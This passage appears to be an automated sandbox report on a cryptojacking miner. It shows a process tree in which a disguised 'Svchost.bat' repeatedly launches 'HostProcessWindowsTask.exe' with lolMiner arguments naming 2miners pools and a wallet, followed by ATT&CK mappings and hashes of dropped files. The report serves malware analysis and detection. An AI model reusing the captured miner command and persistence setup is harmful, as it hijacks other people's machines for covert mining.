      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9488
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6872
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7976
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:1952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7132
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9872
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:996
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10236
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:10128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES2466.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES2466.tmp
Size 1KB
SHA256 7c99b60314d4dbaa1b65a2e38c5b5d1d1f175c4c9bba0277fbaf59ca5be7c258
MD5 7c6f04e10c1e03fbe9b33d3b4f983b8e
SHA1 a2553a2654b4318f9ce900d78a7db05cca22e626
SHA512 03cd93856237bb342a28d92ba965c9a405c8aeb84680ed2affb55b419ab92c4037789aec8a9d4dc36397640b21b6f82a252ca8f60ef62349b532f6bab27005be
TLSH
T10C218C4593E9475FF0734B3179FA471FA274FD65EFA2935A844002192C51144FEA1BB2
MD5 SHA1 SHA512 TLSH

Submit Download

1.98a.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\1.98a.zip
Size 12.2MB
SHA256 99a47bf0da3fda7f3cb6daa2a918010c060213cf2d5a735c351a5a2f92345f16
MD5 0bc0cdc91d0cdcb3cfac925d07baefe4
SHA1 6c152f7747bd004e3834a5f631dc30588f103d5e
SHA512 23655cff35869293062faac5f0ce56a23230902280db6c5f25146bd296593effc823a7e002cdfbcbdb632c19c1ce9e9dd0e52756021fba87adb6d3ece56e079d
SSDEEP 196608:QGYYVZe7Yry1yLPEmcZmzXViybHHYK1KfoyWijgAlKYR2/GUGiJcl8E/K/:557Nry1yLPdxbH4KsPJjgAlRliC8/
TLSH
T189D633B4FBBA7EC67230D2CE009A1EC0EC1331E5B5DDB358798D8A79DB054796A2411E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\_bz2.pyd
Size 84KB
SHA256 b3dd7cea6d03342252834cebcc814af37d850b86d0627fa22b7f6990882f2f8b
MD5 77294e590d14a22d98862c141e7ea4ae
SHA1 88a64817b0699025fcb1dda533355a0b30bd92bf
SHA512 3dac79115a510fd09d384829ff1b45864c2bd20db34459c5ac84ccb65f2befe5d59e13cc232fa23c77232421886a8eefa8d6b5986199e32d2953fee92dad0abd
SSDEEP 1536:HdsvXm8z7+Cnqncm4WlTtdKSzBdIM8vOBs8iMdIsLVuyEJ7Q9bfIgHX:9svXm8zaYqRptX7IvvOC8hdIsLVyY
TLSH
T1B6837D86F36542B6F99BD1F886800793FB30BB950750A3AFF148C2992F13B916E5C219
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\_ctypes.pyd
Size 130KB
SHA256 dfa65498c77e71f038883337d2b5ffd92508489e79e6ee5e96ddec4ecf2a7fa1
MD5 0ac143334e94105facaddc5fb20fc691
SHA1 28cf13be0a0eb84f48c919e68f78852aa4856853
SHA512 00b1a76760b33f054a785be9e4818879121cf5cb60b716d19f2c22c8c58075eea32e626a0962385b18babfaf5d5e33244c09c2e481f99a93577cfeb1647a22e7
SSDEEP 3072:au1mymWLaxMd/w1KVMSf/Fa4IP0JrsFXI/1cswRIsyPyW4IiFx:ac4WLEMWmRf/FaFP2rsFy0zx
TLSH
T161D37D0B775800AAEAA79178C173AF47EBB1B453171187CF02A4C69A2F637D25E3E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\_lzma.pyd
Size 155KB
SHA256 f20be6a9fee8fb5d53170c4bc24a39b48d3c0ccbe8e2000e60ff7d65b77c6ea1
MD5 a0e27c2f376dc80dfc3f884963a0f416
SHA1 f2738a7e6dc65cd9b915a33af354d2f04b768712
SHA512 6e0c50e52e48b29098fa3b7614f190ecc84ab12ed3b376e7e7148f84eceb3101b9ea6972f100b5478059f62d90aded0dff8522440728d0c0904d8c70457f734e
SSDEEP 3072:xqZ/boPLmhrKifqGDRJUs0znfB9mNoTvm28fgS+dIs01xMW4Iiy:xeTgLhyvUsq5YOTCfd+E9
TLSH
T178F35C86B794F0D5F7728C38D6628F57E7F5781A0320929A01CC936D2B1FB659A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\_socket.pyd
Size 84KB
SHA256 127a39d2198f17dd9b573904fe7e4040c7c8718753e6c4edee2ff6c35f487fac
MD5 c19dbee6c084ba12b0a7baa8ea3f8b50
SHA1 9cd0017fbeb1bbc2be40d89006fb73d144a49401
SHA512 5231af5ba642adcda980187744c448400d58f1179ab98974e9f465f8d7de64375635963d67e52fedd0b0900e0682eb3a9d19c93254a9dff2ff4153b07913a1d0
SSDEEP 1536:iVl/fxzeola7SVitdyJwoQlyJ+9+nzCK3Y4KxtS4DTDgRIsywQyEJ7Q9vfIU82c2:iVRdeoo7YoyJwoQlyJs+nzCgtKxB8RIs
TLSH
T132835A01A66050FAEBA3D071C2639E63FB74B5C11394A35F1066C65A1F333C2EF7AA95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\base_library.zip
Size 1.3MB
SHA256 29ec4ef2aa30c7a417fc5d530f410f8ecf05d750ededcbb52cdc6ec30b71ac17
MD5 7d1647e170c3704b9757e4703b9d27d6
SHA1 7fd5e47ddf2964d9501d167e7efa8d7d6ee8e5ad
SHA512 b8842a9b9ee0067fc27e8a5611467d1262546cb9305f65dd8b115eacf2600eb4703d792950f41512e5fd51f4075e44676c717ef45cdd21bb17e5fc282add312a
SSDEEP 12288:ltYzGNcT1bP/qhTY/i7L+DzwdjdTUyCMWfTDwtjbW7WpfuIva80201jwCVRDVoiS:wSeT1bHqHdZm57WpflQ5cPPdxhY5I
TLSH
T19D551992B9527953FF64F37B80B7484CF31E86A2EF00C207355E42661EFE6B09E59588
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_psutil_windows.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\psutil\_psutil_windows.pyd
Size 67KB
SHA256 4799a73d398b0a73c2720a8cf5881cdc6baade50fff912482dd3b4ec4bd76357
MD5 1c59729ba4583f35c2755d060e78f43a
SHA1 6cc2e1444aa8d899a91e36f6533602e260b84777
SHA512 18206afc5d24f08db255e99bca582949e7789c3ef48761a5a278ac0dc3fcb2e4e77f8f0378e0cf16ad00031bb845d5a6177a36129830df586dce112522d4ce0e
SSDEEP 768:jloNqBwOFjbN+n6Lr8aBXTOxlcnWf+6+e/LoCHfLBF25iA4QaFFVUmeYQ3IqEjJU:RTw6Lr8aczcY+e/LoGLT2L4IEJnnmf
TLSH
T102632985B36500F4D92A913DCEB26A37E2B1B061133693DF0561C64E0F63AE7AA7DF41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\python3.dll
Size 70KB
SHA256 4ae581aa4e65fef9f92c84c428c990892da538b4d9289592df51fa31fd879770
MD5 6ca946631d8011ee1c2813637efe06fe
SHA1 46feb03c544c38d616d9af02ced161f2c44f8296
SHA512 0d35012e1345b7ce99251cc18b949a0790d0ee6ab2149fb530df0707ad6572a220f5321bebe92ace958fc40a21d5183b32cb1d227865165f0f71fe9d472c0f20
SSDEEP 1536:LotssyKcunV8PGRIsy0ZyEJ7Q97yfIW44D9rn:MtssyKxRIsy0u7W4IRn
TLSH
T171633BC25B5BF8A2D6F669FC78DDD9CD242B12CC53258D9FA47893920F1A310A22734D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\python313.dll
Size 5.8MB
SHA256 41ec4fc4e5bc8b207258590238f7f050b13fdfee84c4a7b1ecff6e945d031a10
MD5 cfbfd5ca1d563466687e53a638eed93c
SHA1 63bffe9d62dcc870b1601ae7a04b042df88fa219
SHA512 0eb973271a12ff17dc443ee3289695bb2134d66120690d067b3f67b4b52a5ac2831f326fe85635ef43799b43574e4e1809e20db6ae1d32b5e5f4711cfa12df36
SSDEEP 98304:efqPAKrV+hOhkH0pwgJYt5FO8vUHDMiEJV0KL:DPAC+hOhZaic0A
TLSH
T11F568D12729D50ACD97B8078CA178A4BF7B27C113F60434B61E6BB5D2FB33624A6E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\select.pyd
Size 32KB
SHA256 9cc1ef0264060099503592db57ee7d7c1f8d6bea689b2ed125919c7a30b7ab7f
MD5 7a066f58d43c0f3546944d046959ab0d
SHA1 03f2b88e97add974eff48a21454a3e609f943e57
SHA512 199d9f0a2fe47a0b7d25a5c2d6ee74e9507c67c166059985ade8292f4a2741824e91b934e391acad4da8ee187d94b007438a57b63496e91ab2ec7a5da14a0b8c
SSDEEP 768:EpX5KHfOmHzPRIs9GnZyEFqU+Y7N2Ip434bTxf1ml/6dHQzZ:AX5K/OmHzPRIs9GZyEJ7Q9IZfIgHU
TLSH
T110E27DCA6E785043EAA3CA71C5E2DE43F939B3E35611819F30A5C19A1E177C1E33A358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI46202\ucrtbase.dll
Size 1.1MB
SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
MD5 3b337c2d41069b0a1e43e30f891c3813
SHA1 ebee2827b5cb153cbbb51c9718da1549fa80fc5c
SHA512 fdb3012a71221447b35757ed2bdca6ed1f8833b2f81d03aabebd2cd7780a33a9c3d816535d03c5c3edd5aaf11d91156842b380e2a63135e3c7f87193ad211499
SSDEEP 24576:CJG2BrB3ZQAq0AT2jS9HKHdK6AccMs1wmxvSZX0ypFi:0VGrT6SAk3ei
TLSH
T1EC359D64B76C02A9C97BE13DC927554AFA73380147709ACB03E74AB93E2B7E552B7310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_tbsfyulj.xqi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tbsfyulj.xqi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

syko20om.dll

Path C:\Users\Admin\AppData\Local\Temp\syko20om\syko20om.dll
Size 3KB
SHA256 bc8a9af985e674f27f3eee4c3f516aca7f0c3a935f9628d222870e323532637a
MD5 1faffcdf7a8be33b8de5d86ddec12cbc
SHA1 8bac1932c65dc857dbbeb3c20f6ea0bf324c65d7
SHA512 cd07e5accfa81353357eb33a246df1feadb24286d555c765546870af7b4c7b5713a9aa84bd29339da49bc101d6c9f2c10a6ebb8c9bda7cb9ded6909f69a3c893
TLSH
T1A171BE1293E94666F4770774ADE3431723B4E9648F63975F28801219AC502B0AE65BB2
MD5 SHA1 SHA512 TLSH

Submit Download

HostProcessWindowsTask.exe

Path C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
Size 11.9MB
SHA256 45d54e54e0bfcae4f983a8c5db88d1e3fed1618b26d4461c76af8027c4ec4616
MD5 7b639ff5291ace6942af1fdf82cffa6a
SHA1 1f50fc7be5d86b6dcc13c724ad3771e645d88b00
SHA512 7df05d3db7f403b8a3b9078bace55fba3a17e651f92673f8b3c95af62e05521f8fa2068b8f7748fd1c1b96611832263d8318e749f34e8bc3261d7e66bd3525e3
SSDEEP 196608:PMcSJV6hip0DCd3w8KVlLrVCgNdNaKZ4NMEk8R24lCy9iPQIm0ccFyaZZ:0BjZp0DCd3uNNdQKQD3R24l9n09v
TLSH
T147C633B4FBBABF45F230D1FA04A91EC0EC1334E185EDA35979CD8A759B005696E3421E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Svchost.bat

Path C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat
Size 1KB
SHA256 2ac8f275c65055873c7a4efaa2fd6bb8c1499738d0e4dc88e94852092e1f90d0
MD5 03bc3ba76b18d515901683117692e4d5
SHA1 48f234f62812a1b68e198d1d6261710031837e98
SHA512 72122d0655990918a01ed0be9ec69d136409a3df219162aa07d52e5cac7f749210a48ac726c706a19e1a6664646baf922eee395efb0db1da88bdfddec46ac1dc
TLSH
T19B21353136D0392717B1C973BD09119667A8D8472D63A7ECF42C434C6A0E8E5D5605CF
MD5 SHA1 SHA512 TLSH

Submit Download

dynamic_power.ps1

Path C:\Users\Admin\AppData\Roaming\Host Task\dynamic_power.ps1
Size 2KB
SHA256 ec43c85890577b118a2571fd4ff4989238ee62e403a594f50de28beba793fcf7
MD5 bba9021435fb5737c98eeba03fe67f52
SHA1 127136e83999bd5c115db4de18a96337613ab972
SHA512 96c0f2138d10322a819d958b75b1fe80f01bfc7c6f54444f4c5597245af876117e450d893f93e2886bb0af29dbf5ab6a2e3951cf33c3a27dfb952b07bb6bc290
TLSH
T135512015794AFB3B01776139B982A468EE36513F16552A003AFC4ACD0F35A15A274FCF
MD5 SHA1 SHA512 TLSH

Submit Download

lolMiner.cfg

Path C:\Users\Admin\AppData\Roaming\Host Task\lolMiner.cfg
Size 849B
SHA256 e1a58a89aa3d31654d9496700ebbfb27e2914cce90d78425864b948097c35090
MD5 0384e431a88420956339084fa4e6211b
SHA1 0a9227f5072216339a9fa47ff9f1f7353ce9b44c
SHA512 1ed144602b99c28ac47d273e2c856fb31f9ea75e9750c9f6fb1b87cc2b121c1d2afa6e63f6e5a3a48275538c445d63e403c05fb6a528a78af502cea559616a34
TLSH
T1AD018B16234AABA58B4731E5648B73E09356E25F7C3F1024007EC8C81094C83F588AE8
MD5 SHA1 SHA512 TLSH

Submit Download

miner.log

Path C:\Users\Admin\AppData\Roaming\Host Task\miner.log
Size 5KB
SHA256 2f641816bec82fae6211b47269b05826a89a3cbd26b7d5dd34d10bf6d544928e
MD5 4fc85f36dd3259dd4965af4b671bda8d
SHA1 c1288377776a94f685cdb7fec4f0ac56380958b2
SHA512 297287f9e8856208dc3686944eed0b0ddefe6306a46bf31e73a439c9effd779a03250c840d075aed6c8f7205f4f4c9d71ecbcc795ac713e4c7e033a933be61d7
SSDEEP 96:w1XOfdbX2frSAfqlt2xn3DnC+B6VvFFKGzGfGWGREQgGC:FMSASlt2xn3DnC+B6VvLfKeDRxC
TLSH
T168C12A111BCE44D75B9F0355623DAB6F99A163C78104716A7628CE884D8C97AFCBE0BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC9D5D963252FB44719BA56794794041EB.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\syko20om\CSC9D5D963252FB44719BA56794794041EB.TMP
Size 652B
SHA256 4c883b4cdbb738f6b818360b0ff4ad5627c9f176453d4a8bf34d9b53301a88e3
MD5 1a14fcd7a78e804955813588678b91c0
SHA1 47c042998e1a955307ca01b5c35b482bd19aebf3
SHA512 77a045f89c153ed2abefe677afee8bd6d9695f53529a6faab7f9031757e1af1b96e30232a1f40fca664d3c6725856dbb593f29c60535e34b144b9ae91729ad6a
TLSH
T12EF03A0963F8024AF0F34B30B9F6836391B8BC64DE7293ED548003192C645109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

syko20om.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\syko20om\syko20om.0.cs
Size 1KB
SHA256 96f25caffd195b7d679e33246e28aa3f24f0cb7d2f623d9751abb4d22c256dea
MD5 1b412331d99b998d4a42765f72d40d15
SHA1 6072a2e35d710d4ed864210376317343f7fe9ae6
SHA512 1bf6d31c54255b7573a105f7dabb370808598ef4f0434cd38d65e36ed1a58bc1d6d1942fd50e41d1c37fc369705de7b84e022155955f49016d0b658df55eefcf
TLSH
T11E1140683041DF635977A234FED29096FB6302375D581905BD8D06A64F31335AA34F57
MD5 SHA1 SHA512 TLSH

Submit Download

syko20om.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\syko20om\syko20om.cmdline
Size 369B
SHA256 c51365f5efb65fce2ce4ad6f808e5aa0de4af97bbc38907ee76b93b38cd7ccc2
MD5 3ee3789fb069d1f551177fea1c7877e8
SHA1 3f09d8771e3ebdd4d895da2b6b65e61c539d2f3d
SHA512 802d70e29e3f236166c715d93ef071eb9b20fc13afbbcaf90eb4daf56e37353202f64ea98d39f5ad91e92a836ea7873f7b93de7b89089a302386d6e5c9c3e09c
TLSH
T1DAE0C06B4246CBBD01DD203F2169C4ACC27A0F432AC63F845858440DD027140F7D17E1
MD5 SHA1 SHA512 TLSH

Submit Download

xttapcs1.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\xttapcs1\xttapcs1.cmdline
Size 369B
SHA256 0d5e4fdc3d45ef27c9657b45a0f4971640af6fba0315321516bfe18d31143157
MD5 c7244eca681a5ddcf37b6238d83f79d6
SHA1 636d713b6ebdb497a4c4489c4ec31ea471b034d5
SHA512 7ec88e335c3faf519428c1b8f2407db01a1920f2aceb250b5183546024c27296705aec74a2085a3851760969decfd875d4010fe9dbfc8a8a8f2dadd1e8f8f019
TLSH
T1E7E0202E53D6C67D25EF30073269DDACC27307472B417F845194485ED01711467D175E
MD5 SHA1 SHA512 TLSH

Submit Download

memory/248-303-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/460-227-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/460-234-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/1156-257-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/1156-247-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/1476-276-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/1800-294-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/1952-249-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/1952-238-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/1996-245-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/1996-237-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/2500-283-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/2600-254-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/2600-242-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/2792-228-0x0000020DA98D0000-0x0000020DA98DA000-memory.dmp

Download

memory/2792-233-0x0000020DA98E0000-0x0000020DA98E8000-memory.dmp

Download

memory/2792-235-0x0000020DA9910000-0x0000020DA9916000-memory.dmp

Download

memory/2792-236-0x0000020DA9920000-0x0000020DA992A000-memory.dmp

Download

memory/2792-230-0x0000020DA9930000-0x0000020DA994C000-memory.dmp

Download

memory/2792-223-0x0000020D911A0000-0x0000020D911A8000-memory.dmp

Download

memory/2888-265-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/2888-292-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/3148-302-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/3428-243-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/3428-266-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/3896-309-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/4244-275-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/4324-239-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/4324-256-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/4344-255-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/4344-244-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/4464-272-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/4464-258-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/5244-246-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/5244-231-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/5416-267-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/5540-259-0x00007FF6252C0000-0x00007FF6262C0000-memory.dmp

Download

memory/5732-161-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-232-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-169-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-168-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-165-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-210-0x000001C937C20000-0x000001C937C3E000-memory.dmp

Download

memory/5732-212-0x000001C937C40000-0x000001C937CF2000-memory.dmp

Download

memory/5732-164-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-96-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-214-0x000001C937C00000-0x000001C937C0A000-memory.dmp

Download

memory/5732-93-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-100-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-226-0x000001C938180000-0x000001C93819E000-memory.dmp

Download

memory/5732-160-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-92-0x000001C937B40000-0x000001C937B62000-memory.dmp

Download

memory/5732-271-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-229-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-90-0x00007FF86402F000-0x00007FF864030000-memory.dmp

Download

memory/5732-91-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-158-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

memory/5732-115-0x00007FF863EA0000-0x00007FF864844000-memory.dmp

Download

